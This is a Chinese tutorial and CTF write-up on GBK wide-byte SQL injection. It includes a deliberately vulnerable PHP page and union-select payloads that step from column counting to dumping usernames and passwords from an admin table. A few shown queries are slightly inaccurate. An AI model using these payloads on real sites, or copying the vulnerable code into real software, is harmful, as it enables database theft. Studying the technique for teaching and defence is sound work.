宽字节注入

前言

宽字节是相对于ascII这样单字节而言的;像GB2312、GBK、GB18030、BIG5、Shift_JIS等这些都是常说的宽字节,实际上只有两字节。

GBK是一种多字符的编码,通常来说,一个gbk编码汉字,占用2个字节。一个utf-8编码的汉字,占用3个字节

GBK编码:
GBK编码

utf-8编码:
utf-8编码
转义函数:为了过滤用户输入的一些数据,对特殊的字符加上反斜杠“\”进行转义;Mysql中转义的函数addslashesmysql_real_escape_stringmysql_escape_string等。

宽字节注入指的是mysql数据库在使用宽字节(GBK)编码时,会认为两个字符是一个汉字(前一个ascii码要大于128(比如%df),才到汉字的范围),而且当我们输入单引号时,mysql会调用转义函数,将单引号变为\’,其中\的十六进制是%5c,mysql的GBK编码,会认为%df%5c是一个宽字节,也就是,从而使单引号闭合(逃逸),进行注入攻击。

以下是数据的变化过程:

1
2
3
%df%27===>(addslashes)====>%df%5c%27====>(GBK)====>運’

用户输入==>过滤函数==>代码层的$sql==>mysql处理请求==>mysql中的sql

环境搭建及分析

demo1

链接:https://pan.baidu.com/s/1cMFtCpbbaocMjaWJx7YLcQ 密码:ykve
数据库名为test,数据库的编码全部为gbk。
将index.php放到phpStudy的WWW目录下,将test.sql文件导入到数据库中即可
核心源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
//连接数据库部分,注意使用了gbk编码
$conn = mysql_connect('localhost', 'root', 'root') or die('bad!');
mysql_query("SET NAMES 'gbk'");
mysql_select_db('test', $conn) OR emMsg("连接数据库失败,未找到您填写的数据库");
//执行sql语句
$id = isset($_GET['id']) ? addslashes($_GET['id']) : 1;
$sql = "SELECT * FROM news WHERE tid='{$id}'";
$result = mysql_query($sql, $conn) or die(mysql_error());
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="gbk" />
<title>宽字节测试</title>
<meta charset="utf-8"/>
</head>
<body>
<form action="test.php" method="get">
<b>请输入值:</b> <input type="text" name="id"/>
</form>
<?php
$row = mysql_fetch_array($result, MYSQL_ASSOC);
echo "<h2>{$row['title']}</h2><p>{$row['content']}<p>\n";
mysql_free_result($result);
?>
</body>
</html>

sql语句是SELECT * FROM news WHERE tid='{$id}根据id从数据库表中获取信息。

单纯加上单引号没有报错,说明addslashes函数发挥了作用,将' –> \',这样就不会存在注入了。

执行的SQL语句是:SELECT * FROM news WHERE tid='1\''

此时,在单引号前面加上前面讲的%df,使mysql认为%df\是一个汉字,这样就可以逃逸出来,使tid='1'闭合。

这时候,按说是可以构造查询语句了,可是为什么还在报错呢,因为tid='1'后面的'没有闭合,需要使用注释符号(– ‘或#)将这个多余的注释掉,这样就可以构造注入语句了。

执行的SQL语句是:SELECT * FROM news WHERE tid='-1 運' -- \''

下面就可以按照手动注入的思路进行数据的获取了。

确定表的字段数
经过order by查询,测得字段为3.

确定字段的显示位
显示位:表中数据第几位的字段可以 显示,因为并不是所有的查询结果都 会展示在页面中,因此需要探测页面 中展示的查询结果是哪一列的结果; union select 1,2,3 通过显示的数字可以判断那些字段可以显示出来。

执行的SQL语句是:SELECT * FROM news WHERE tid='-1 運' union select 1,2,3 -- \''

id的值要用-1或者该表中没有用过的id值,否则测试值会被覆盖。

获取当前数据库信息
现在只有两个字段可以显示信息,显然在后面的查询数据中,两个字段是不够用,可以使用:group_concat()函数(可以把查询出来的多行数据连接起来在一个字段中显示) database()函数:查看当前数据库名称 version()函数:查看数据库版本信息 user():返回当前数据库连接使用的用户 char():将十进制ASCII码转化成字符。

执行的SQL语句:SELECT * FROM news WHERE tid='-1 運' union select 1,2,group_concat(database()) -- \''

当前数据库名为’test’。

获取test数据库中的表信息
Mysql有一个系统的数据库information_schema,里面保存着所有数据库的相关信息,使用该表完成注入

执行的SQL语句:SELECT * FROM news WHERE tid='-1 運' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=test -- \''

由于存在addslashes转义了单引号,如果在table_schema中继续使用单引号包裹数据库名字,就会报错,这时候需要使用十六进制编码来避免这个问题。

获取admin表的字段
column_name表示获取字段名

执行的SQL语句:SELECT * FROM news WHERE tid='-1 運' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=admin -- \''

table_name需要使用十六进制编码

获取admin表的数据

执行的SQL语句:SELECT * FROM news WHERE tid='-1 運' union select 1,2,group_concat(uid,name,pass) from admin -- \''

demo2

题目地址:http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1
简单尝试一下:

很明显的宽字节注入。

判断列数:
经过order by测试,列数为2

库名:
当前数据库
当前数据库

表名:

列名
由于不知道flag在哪个表中,只能一个个去试。。。
最终在ctf4中得到flag。

爆数据

小结

上面的题目用SQLmap也能跑出来,不过作为一个手工党,基本的手工注入还是要会的。